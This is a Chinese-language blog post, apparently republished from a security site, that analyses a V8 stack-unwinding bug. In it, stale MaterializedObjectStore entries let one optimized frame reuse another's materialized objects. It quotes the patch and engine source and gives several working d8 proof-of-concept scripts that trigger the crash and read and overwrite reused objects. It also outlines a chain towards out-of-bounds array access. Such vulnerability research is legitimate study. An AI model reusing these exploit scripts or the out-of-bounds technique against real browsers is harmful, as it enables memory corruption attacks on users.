Chrome V8 UnwindAndFindHandler 物化对象残留漏洞利用分析
2026-11-5 13:26:23 Author: xz.aliyun.com(查看原文) 阅读量:0 收藏

近期作者在学习 Chrome V8 漏洞利用相关技术,看了一下Starlabs的师傅分享的一篇文章,从中学习了 V8 漏洞分析与利用的思路。顺着这套研究范式,作者选择了一个 V8CTF 里的漏洞开展实践 —— 该漏洞暂无 CVE 编号,暂无公开利用信息,正好适合练手
本文记录了对该漏洞的根因分析、POC 构造、调试踩坑以及利用思路的完整实践过程

翻阅补丁后可以确定,漏洞位于 V8 的 UnwindAndFindHandler 栈展开逻辑,和 Fast API 异常展开过程中 MaterializedObjectStore 物化对象的清理逻辑相关。撰写本文时,该漏洞还没有公开的完整分析和利用链,这也让它成为一个很合适的研究目标。作者仅依靠这份补丁逆向梳理修复逻辑,理解根因,并自行编写了PoC验证该漏洞的利用方式

未打补丁之前会发生什么?

补丁在这里。我们逐条看看它到底改了什么

@@ -2918,6 +2918,12 @@ Tagged<Object> Isolate::UnwindAndFindHandler() {
   for (StackFrameIterator iter(this, thread_local_top());; iter.Advance()) {
     if (ignore_next_frame) {
       ignore_next_frame = false;
+      // Since we are skipping the next frame, we must manually perform the
+      // unwinding cleanup for it here, as the 'continue' will bypass the
+      // cleanup at the end of the loop body.
+      if (iter.frame()->is_optimized_js()) {
+        materialized_object_store_->Remove(iter.frame()->fp());
+      }
       continue;
     }
     int visited_frames = iter.frame()->iteration_depth();

六行代码,一个文件,而且只加不删——没有任何一行被改写。光是这一点就已经把方向指出来:*不是某个条件判断写错了,而是少做了一件事。
提交信息其实已经把话说得很白:

    However, using a simple continue to skip the frame's iteration bypassed
    the per-frame unwinding cleanup at the end of the loop body, which removes
    materialized objects from the MaterializedObjectStore. This leaked the
    materialized objects and caused a crash (due to stale materialized objects)
    when the stack frame was subsequently reused at the same call depth by
    another function.

最后一句值得读两遍:
when the stack frame was subsequently reused at the same call depth by another function
栈帧随后被另一个函数在同一调用深度上复用——这不是一句崩溃描述,这是一个原语

把UnwindAndFindHandler函数代码拉到最底部,可以看到在正常的逻辑中,当函数栈帧发生unwind时,会执行remove操作清除物化对象的指针

    if (frame->is_optimized_js()) {
      // Remove per-frame stored materialized objects.
      bool removed = materialized_object_store_->Remove(frame->fp());
      USE(removed);
      // If there were any materialized objects, the code should be
      // marked for deopt.
      DCHECK_IMPLIES(removed, frame->LookupCode()->marked_for_deoptimization());
    }

而在这个分支的代码中,会把ignore_next_frame设置为true

      case StackFrame::INTERNAL: {
        auto code = frame->GcSafeLookupCode();
        if (code->builtin_id() ==
            Builtin::kDeoptimizationEntry_LazyAfterFastCall) {
          // Deoptimization Entry builtin does the exception handling for the
          // fast API if the fast API caller was marked for deoptimization.
          // Therefore, even though `frame->fp()` says that we are coming from
          // the Deoptimization Entry builtin, we have to do the stack unwinding
          // as if we come from the fast call. The return address of the fast
          // call is still stored in the isolate, so we can just load it from
          // there.
          Address fast_call_pc = isolate_data()->fast_c_call_caller_pc();
          std::optional<Tagged<GcSafeCode>> result =
              inner_pointer_to_code_cache()->GetCacheEntry(fast_call_pc)->code;

          CHECK(!result->is_null());

          Tagged<GcSafeCode> caller_code = result.value();
          int caller_offset =
              caller_code->GetOffsetFromInstructionStart(this, fast_call_pc);
          // Check if there is actually an exception handler registered at the
          // return address of the fast call. If so, then we tell the
          // deoptimizer of the exception and just return the Deoptimization
          // Entry. Otherwise we iterate the stack further to find a handler.
          HandlerTable table(TrustedCast<Code>(caller_code));
          int handler_offset = table.LookupReturn(caller_offset);
          if (handler_offset < 0) {
            // No handler was registered for the fast call. The stack iteration
            // would therefore continue with the next frame, which is the frame
            // of the caller of the fast API call. We checked that frame already
            // here, so there is no need to check it again. Additionally, the
            // `pc` of the next frame is off by a call instruction, because for
            // a normal deopt, the return address on the stack would point to
            // the deopt exit of the call, but to reach the current code
            // location, the deopt exit has already been called, to the address
            // after the deopt exit is on the stack as the return address.
            ignore_next_frame = true;
            break;
          }

最终回到patch修复的这段代码时,会直接执行continue跳过循环,循环末尾执行指针清除的操作就成功被跳过了

  for (StackFrameIterator iter(this, thread_local_top());; iter.Advance()) {
    if (ignore_next_frame) {
      ignore_next_frame = false;
      continue;
    }

这本身是一处完全合理的优化。异常从 fast API call 里抛出去、而调用方已经被标记为待去优化时,展开器会经由 DeoptimizationEntry_LazyAfterFastCall 改道;此时调用方那一帧其实已经被检查过一遍了,于是设个标志,让下一轮不要再扫一遍

问题只出在实现方式上:「跳过这一帧」被写成了 continue——它跳过了帧,同时也跳过了对这一帧的记账

这段补丁到底在修什么?

MaterializedObjectStore 是每个 isolate 一张的表,键是帧指针,值是一个装「此前已物化对象」的 FixedArray。注意它的键既不是函数、也不是 code 对象、也不是调用点,就是栈地址 fp:

class MaterializedObjectStore {
 public:
  DirectHandle<FixedArray> Get(Address fp);
  void Set(Address fp, DirectHandle<FixedArray> materialized_objects);
  bool Remove(Address fp);

 private:
  Isolate* isolate_;
  std::vector<Address> frame_fps_;
};
DirectHandle<FixedArray> MaterializedObjectStore::Get(Address fp) {
  std::optional<uint32_t> index = StackIdToIndex(fp);
  if (!index.has_value()) {
    return Handle<FixedArray>::null();
  }
  ...
}

std::optional<uint32_t> MaterializedObjectStore::StackIdToIndex(Address fp) {
  auto it = std::find(frame_fps_.begin(), frame_fps_.end(), fp);
  return it == frame_fps_.end() ? std::nullopt
                                : std::make_optional(static_cast<uint32_t>(
                                      std::distance(frame_fps_.begin(), it)));
}

整个设计依赖一条严格的生命周期不变量:表里的条目,只在它对应的那一帧还活着的时候有效

所以无论是正常弹出,还是被展开器跳过,条目就必须跟着消失

一条残留记录会流向哪里?

真正有意思的部分,从栈重新长起来的那一刻开始。栈帧会被反复复用——同样的调用深度、同样的帧布局、同样的地址。如果之后另一个函数被优化后正好落进同一个 fp,去优化器一查表,就查到了那条孤儿记录:

DirectHandle<FixedArray> previously_materialized_objects =
    materialized_store->Get(stack_frame_pointer_);   // 新帧的 fp
if (previously_materialized_objects.is_null()) return;

从这一行起,V8 认定:某个函数A残留的物化对象,属于现在的函数B,而在物化对象发生复用时也只check对象长度是否一致

  uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
  CHECK_EQ(length, previously_materialized_objects->ulength().value());

  for (uint32_t i = 0; i < length; i++) {
    if (previously_materialized_objects->get(i) != *marker) {
      TranslatedState::ObjectPosition pos = object_positions_[i];
      TranslatedValue* value_info =
          &(frames_[pos.frame_index_].values_[pos.value_index_]);
      CHECK(value_info->IsMaterializedObject());

      if (value_info->kind() == TranslatedValue::kCapturedObject ||
          value_info->kind() == TranslatedValue::kCapturedStringConcat) {
        Handle<Object> object(previously_materialized_objects->get(i),
                              isolate_);
        CHECK(IsHeapObject(*object));
        value_info->set_initialized_storage(Cast<HeapObject>(object));
      } else {
        ...
      }
    }
  }

于是原语成形了:只要两个帧共用同一个 fp、对象 position 数量对得上,通过函数A栈帧里寻址到的物化对象可以被塞进函数B翻译状态里的槽位

其实看懂前文思路就很明确了,首先需要理解物化对象这个概念,v8执行js代码大致分为两类,也是我们所熟知的,编译器编译成机器码(优化状态)执行或者解释器执行字节码,而当一个函数的对象只在内部使用时,会被优化,直接存储到栈上或者寄存器,但是当发生去优化退回到解释器执行状态就需要存储到堆中,这个过程就是物化,所以第一步需要做的就是弄出一个物化对象

StoreMaterializedValuesAndDeopt调用materialized_store->Set完成物化操作

void TranslatedState::StoreMaterializedValuesAndDeopt(JavaScriptFrame* frame) {
  MaterializedObjectStore* materialized_store =
      isolate_->materialized_object_store();
  DirectHandle<FixedArray> previously_materialized_objects =
      materialized_store->Get(stack_frame_pointer_);

  Handle<Object> marker = isolate_->factory()->arguments_marker();

  uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
  bool new_store = false;
  if (previously_materialized_objects.is_null()) {
    previously_materialized_objects =
        isolate_->factory()->NewFixedArray(length, AllocationType::kOld);
    for (uint32_t i = 0; i < length; i++) {
      previously_materialized_objects->set(i, *marker);
    }
    new_store = true;
  }

  CHECK_EQ(length, previously_materialized_objects->ulength().value());

  bool value_changed = false;
  for (uint32_t i = 0; i < length; i++) {
    TranslatedState::ObjectPosition pos = object_positions_[i];
    TranslatedValue* value_info =
        &(frames_[pos.frame_index_].values_[pos.value_index_]);

    CHECK(value_info->IsMaterializedObject());

    // Skip duplicate objects (i.e., those that point to some other object id).
    if (static_cast<uint32_t>(value_info->object_index()) != i) {
      continue;
    }

    DirectHandle<Object> previous_value(previously_materialized_objects->get(i),
                                        isolate_);
    DirectHandle<Object> value(value_info->GetRawValue(), isolate_);

    if (value.is_identical_to(marker)) {
      ...
    } else {
      if (*previous_value == *marker) {
        ...
        previously_materialized_objects->set(i, *value);
        value_changed = true;
      } else {
        ...
      }
    }
  }

  if (new_store && value_changed) {
    materialized_store->Set(stack_frame_pointer_,
                            previously_materialized_objects);
    ...
    Deoptimizer::DeoptimizeFunction(
        frame->function(), LazyDeoptimizeReason::kFrameValueMaterialized,
        frame->LookupCode());
  }
}

将上面这段代码投喂给ai,拷打ai还是比较容易出结果的

//gdb --args ./out/x64.debug/d8 --allow-natives-syntax poc.js
function leaf() {
  let args = middle.arguments[0];
  throw new Error("Trigger Unwind directly while caller is suspended!");
}
%NeverOptimizeFunction(leaf);
function middle(obj) {
  leaf();
  return obj.x;
}
function caller() {
  let localObj = { x: 42, y: 100 };
  return middle(localObj);
}
%PrepareFunctionForOptimization(middle);
%PrepareFunctionForOptimization(caller);
for (let i = 0; i < 5; i++) {
  try { caller(); } catch(e) {}
}
%OptimizeFunctionOnNextCall(caller);
try {
  caller();
} catch (e) {
}

gdb下断点到StoreMaterializedValuesAndDeopt即可观测到成功结果(注:这里有一个坑,由于debug版本太多数据所以实际存储到libv8共享库中,直接下断点会找不到,自行编译debug版本的师傅测试时需要先start启动d8让其加载共享库再下断点!!!)

弄出物化对象了就是补充访问漏洞路径的逻辑了,主要就是让v8执行StackFrame::INTERNAL这条路径的代码,这里作者用到的ai比较拉(gemini flash),直接让ai凭空生成完全乱写的,有出现同样的师傅可以参考一下我的做法,我首先让ai尝试触发其它路径(非默认路径),简单训练它相关的能力,然后把断点下到代码开头,输出frame->type()反馈给ai,经过几轮下来就能写出正确的了

    switch (frame->type()) {
      case StackFrame::ENTRY:
      case StackFrame::CONSTRUCT_ENTRY: {
        // For JSEntry frames we always have a handler.
        StackHandler* handler = frame->top_handler();

        // Restore the next handler.
        thread_local_top()->handler_ = handler->next_address();

poc:

//./out/x64.debug/d8 --allow-natives-syntax --expose-fast-api poc.js

const fast_c_api = new d8.test.FastCAPI();

// ==========================================
// 1. 目标函数 A:用于制造物化对象与异常打断
// ==========================================
function inlineTarget(escapedObj, apiArg) {
  fast_c_api.call_to_number(apiArg);
  return escapedObj.x;
}

function outerOptimized(apiArg) {
  let localObj = { x: 42, y: 100 };
  return inlineTarget(localObj, apiArg);
}

%PrepareFunctionForOptimization(inlineTarget);
%PrepareFunctionForOptimization(outerOptimized);

for (let i = 0; i < 50; i++) {
  outerOptimized(42);
}
%OptimizeFunctionOnNextCall(outerOptimized);
outerOptimized(42);

// ==========================================
// 2. 目标函数 B:用于复用栈地址的“健康优化帧”
// 要求:
//   - 必须是优化帧 (is_optimized_js() == true)
//   - marked_for_deoptimization() 必须保持为 false
//   - 在内部抛出异常以触发 Unwinder 的检查逻辑
// ==========================================
function cleanTarget(triggerThrow) {
  if (triggerThrow) {
    // 抛出普通异常,驱动 V8 的 UnwindAndFindHandler
    throw new Error("Trigger Unwind on Clean Frame");
  }
  return 123;
}

function cleanOptimized(triggerThrow) {
  // 保持调用栈深度和结构与 outerOptimized 相当
  return cleanTarget(triggerThrow);
}

%PrepareFunctionForOptimization(cleanTarget);
%PrepareFunctionForOptimization(cleanOptimized);

for (let i = 0; i < 50; i++) {
  cleanOptimized(false);
}
%OptimizeFunctionOnNextCall(cleanOptimized);
cleanOptimized(false);

// ==========================================
// 3. 构造触发物化的 deopt 对象
// ==========================================
const deopt_obj = {
  valueOf: () => {
    // 强制触发 ArgumentsFromDeoptInfo -> StoreMaterializedValuesAndDeopt
    // 使得 isolate_->materialized_object_store()->Set(fp, ...) 被调用
    let materialized = inlineTarget.arguments[0];

    %DeoptimizeFunction(outerOptimized);

    // 打断执行,不让 Fast C API 正常收尾,直奔栈展开流程
    throw new Error("Trigger LazyAfterFastCall and Keep Materialized Objects");
  }
};

// ==========================================
// 4. 执行调度逻辑:验证栈帧复用
// ==========================================
function main() {
  // [步骤 1]:触发 outerOptimized 的物化与异常中断
  // 此时栈顶分配了某个物理栈地址(假设为 FP_A)
  try {
    outerOptimized(deopt_obj);
  } catch (e) {
    // 异常在 main 中被接住,栈回退到 main 的高度。
    // 如果存在漏洞导致未能及时清理,FP_A 仍然残留在 MaterializedObjectStore 表中。
  }

  // [步骤 2]:在同一深度调用 cleanOptimized
  // 此时 CPU 分配的栈帧基址有极大概率正好等于刚才的 FP_A
  // 内部抛出异常,迫使 V8 遍历到 cleanOptimized 时执行:
  //   bool removed = materialized_object_store_->Remove(frame->fp());
  //   DCHECK_IMPLIES(removed, frame->LookupCode()->marked_for_deoptimization());
  try {
    cleanOptimized(true);
  } catch (e) {
    // 捕获 cleanOptimized 的异常
  }
}

main();

直接用d8执行成功触发崩溃

到这一步其实已经完成现在大多数"漏洞复现"定义的标准了,不过既然标题写的是利用分析,作者肯定也不会糊弄,弄完漏洞分析就止步于此了

复现环境:d8(commit:ddc0c9801d9afd4d0dcd4960e6b7177ac7b396c0)

环境附件: poc.js

复现流程: d8直接执行特定js程序即可触发越界内存访问

现在阿里云盘似乎不能共享二进制文件了,懒得编译想直接拿运行环境的师傅可以私信作者

Email:[email protected](该邮箱订阅了Linux内核CVE漏洞推送的信息,邮件比较多可能刚好错过,若半天未回复师傅们可以再发一条提醒回复的)

上文提到目前poc能实现的就是复用物化对象,然后由于数量不一致导致崩溃,所以先解决的目标就是通过check,然后实现对物化对象的读写,这里readMaterializedObject的参数从代码层面上来说理应是cleanOptimized传入的localObj,值应该是88.2,99.2

function cleanOptimized(triggerThrow) {
  let localObj = [88.2,99.2];
  return cleanTarget(triggerThrow, localObj);
}
//gdb --args ./out/x64.debug/d8 --allow-natives-syntax test_unwind.js
const fast_c_api = new d8.test.FastCAPI();
let materializedA = undefined;
let observedObject = undefined;
function readMaterializedObject(obj) {
  %SystemBreak();
  observedObject = obj;
  print("before: " + obj[0] + " " + obj[1]);
  obj[0] = 123.9;
  obj[1] = 456.8;
  %SystemBreak();
  print("after: " + obj[0] + " " + obj[1]);
}
%NeverOptimizeFunction(readMaterializedObject);
function inlineTarget(escapedObj, apiArg) {
  fast_c_api.call_to_number(apiArg);
  return escapedObj[0];
}
function outerOptimized(apiArg) {
  let localObj = [42.1,100.1];
  return inlineTarget(localObj, apiArg);
}
%PrepareFunctionForOptimization(inlineTarget);
%PrepareFunctionForOptimization(outerOptimized);
for (let i = 0; i < 50; i++) {
  outerOptimized(42);
}
%OptimizeFunctionOnNextCall(outerOptimized);
outerOptimized(42);
function cleanTarget(triggerThrow, escapedObj) {
  let x = escapedObj[0];
  let y = escapedObj[1];
  if (triggerThrow) {
    print("locals: " + x + " " + y);
    readMaterializedObject(escapedObj);
    throw new Error("Trigger Unwind on Clean Frame");
  }
  return x + y;
}
function cleanOptimized(triggerThrow) {
  let localObj = [88.2,99.2];
  return cleanTarget(triggerThrow, localObj);
}
%PrepareFunctionForOptimization(cleanTarget);
%PrepareFunctionForOptimization(cleanOptimized);
for (let i = 0; i < 50; i++) {
  cleanOptimized(false);
}
%OptimizeFunctionOnNextCall(cleanOptimized);
cleanOptimized(false);
const deopt_obj = {
  valueOf: () => {
    materializedA = inlineTarget.arguments[0];
    print("A object:");
    %DeoptimizeFunction(outerOptimized);
    throw new Error("Trigger LazyAfterFastCall and Keep Materialized Objects");
  }
};
function main() {
  try {
    outerOptimized(deopt_obj);
  } catch (e) {
  }
  try {
    cleanOptimized(true);
  } catch (e) {
  }
  if (observedObject !== undefined) {
    print("after-catch: " +
          observedObject[0] + " " +
          observedObject[1]);
    print("after-catch same-as-A: " +
          (observedObject === materializedA));
  }
}
main();

但由于复用物化对象,实际访问到的是42.1,100.1,这里我们在覆写物化对象前面下了断点,用gdb调试验证一下,看一下写入前后值都是什么(注:通过%SystemBreak();下断点直接执行会有问题,该断点是专门提供gdb调试的,gdb直接按c就能到断点)

gdb到达断点之后执行source tools/gdbinit加载v8提供给gdb的脚本,然后执行jst打印调试信息,这个JSArray就是数组的地址

将其内容输出出来可见确实是函数A的值而非函数B的值

执行到下一个断点再观察,可以发现确实成功修改了

但这有什么用呢?作者一开始想的是,直接走长度混淆类型混淆什么的,就是说,既然B会复用A的物化对象,那写入在语义上是对B进行写入,那A定义的时候短一点,B定义的长一点,当进行读写的时候,写入的实际是A但是长度校验是B,那不就出现越界了吗?

但测试发现这种方法并不可行,拷打了一下ai说是退回解释器执行的原因,然后作者又测试了怎么将一段代码优化(通过v8内置函数,然后预热就行了),但是最终测试发现还是不行,check是读取length字段进行检测,发生越界就退回解释器执行,解释器会重新分配一个element去存储

作者后面又想到了,既然这是指针残留,会不会是一个uaf呢?如果物化对象实质上已经释放了,让v8分配其它对象到那块内存不就有uaf读写了吗?但是最终发现v8释放内存走的是gc而不是某条释放路径,而gc检测到仍存在强引用的情况是不会释放内存的(这个漏洞是出现在栈帧unwind不清除哈希表中的fp指针,从而能寻址到物化对象,但是这条引用是强引用),那到底应该怎么做呢?

且看VCR,作者看到了很有意思的这么一段代码,简单理解就是在检测越界的时候对于JSArray则只会check索引是否超过length,而不会检测length是否超过elements容量

void AccessorAssembler::EmitFastElementsBoundsCheck(
    TNode<JSObject> object, TNode<FixedArrayBase> elements,
    TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,
    Label* miss) {
  TVARIABLE(IntPtrT, var_length);
  Comment("Fast elements bounds check");
  Label if_array(this), length_loaded(this, &var_length);
  GotoIf(is_jsarray_condition, &if_array);
  {
    var_length = LoadFixedArrayBaseLength(elements);
    Goto(&length_loaded);
  }
  BIND(&if_array);
  {
    var_length = PositiveSmiUntag(LoadFastJSArrayLength(CAST(object)));
    Goto(&length_loaded);
  }
  BIND(&length_loaded);
  GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);
}

这有什么用呢?那不难得到一个猜想,如果在运行过程中elements被篡改,指向了一个更低容量的,那超出低容量的访问都是越界的

而element值的来源则是这段代码

void TranslatedState::InitializeJSObjectAt(
    TranslatedFrame* frame, int* value_index, TranslatedValue* slot,
    DirectHandle<Map> map, const DisallowGarbageCollection& no_gc) {
  auto object_storage = Cast<HeapObject>(slot->storage_);
  int children_count = slot->GetChildrenCount();
  ...
  PrepareObjectForLayoutChange(object_storage, children_count, no_gc);
  ...
  // properties
  ...

  for (int i = 2; i < children_count; i++) {
    slot = GetResolvedSlotAndAdvance(frame, value_index);
    int offset = i * kTaggedSize;
    uint8_t marker = object_storage->ReadField<uint8_t>(offset);
    ...
    if (marker == kStoreHeapObject) {
      DirectHandle<HeapObject> field_value = slot->storage();
      WRITE_FIELD(*object_storage, offset, *field_value);        // ★ 注入值(elements)
      WRITE_BARRIER(*object_storage, offset, *field_value);
      continue;
    }
    CHECK_EQ(kStoreTagged, marker);
    DirectHandle<Object> field_value = slot->GetValue();
    WRITE_FIELD(*object_storage, offset, *field_value);          // 字面量(length)
    WRITE_BARRIER(*object_storage, offset, *field_value);
  }
  object_storage->set_map(isolate(), *map, kReleaseStore);       // map 最后写
}

再往上溯源其实就是函数B在复用函数A的物化对象时调用的UpdateFromPreviouslyMaterializedObjects,该函数会check长度是否匹配,但经过实测发现check的并不是对象长度而是物化槽数

void TranslatedState::UpdateFromPreviouslyMaterializedObjects() {
  MaterializedObjectStore* materialized_store =
      isolate_->materialized_object_store();
  DirectHandle<FixedArray> previously_materialized_objects =
      materialized_store->Get(stack_frame_pointer_);
  if (previously_materialized_objects.is_null()) return;
  ...

  DirectHandle<Object> marker = isolate_->factory()->arguments_marker();

  uint32_t length = base::checked_cast<uint32_t>(object_positions_.size());
  CHECK_EQ(length, previously_materialized_objects->ulength().value());
  ...

  for (uint32_t i = 0; i < length; i++) {
    // 这一格有历史值,才注入
    if (previously_materialized_objects->get(i) != *marker) {
      TranslatedState::ObjectPosition pos = object_positions_[i];
      TranslatedValue* value_info =
          &(frames_[pos.frame_index_].values_[pos.value_index_]);
      CHECK(value_info->IsMaterializedObject());

      if (value_info->kind() == TranslatedValue::kCapturedObject ||
          value_info->kind() == TranslatedValue::kCapturedStringConcat) {
        Handle<Object> object(previously_materialized_objects->get(i), isolate_);
        CHECK(IsHeapObject(*object));
        value_info->set_initialized_storage(Cast<HeapObject>(object));//slot->storage()值的来源,即函数A的对象指针
      }
    }
  }
}

不难想到,完整的利用链则是:

  1. 函数A物化,走特殊unwind路径残留fp能寻址到物化对象

  2. 函数B物化,但直接复用了函数A的物化对象

  3. 函数A和函数B的对象长度不一致,没有这条检测,最终函数B的length是8,elements却是函数A的容量为2的element,实现越界访问

根因只有六行:Isolate::UnwindAndFindHandler() 用 continue 跳过一帧时,把帧尾那句 materialized_object_store_->Remove(fp) 也一起跳过了。fp → 物化对象数组 这条记录因此留在了 store 里,等下一次同一调用深度的另一个函数复用同一个 fp,UpdateFromPreviouslyMaterializedObjects 就把它当成了自己的

复用的校验只看数量。CHECK_EQ(length, prev->ulength()) 比的是两边的物化槽个数——既不是对象长度,也不是实参个数。槽数一对上,槽里放的是什么对象、有多大容量,就没有任何人再检查。于是函数 B 留着自己的 length,却拿到了函数 A 的 backing store,length ≤ elements 容量 这条不变量就此断开

就目前来看,得出比较有经验价值的结论,就是无论拿到什么初始原语,实现越界读写的方法无非是让“边界”和“数据”来自两个互不校验的来源:改与元素个数相关的字段(length 、容量、byte_length ),改指向数据的指针或它的解释方式(elements 、map 、elements kind),或者让边界检查本身缺席或算错。具体走哪条,取决于原语能碰到什么


文章来源: https://xz.aliyun.com/news/93168
如有侵权请联系:admin#unsafe.sh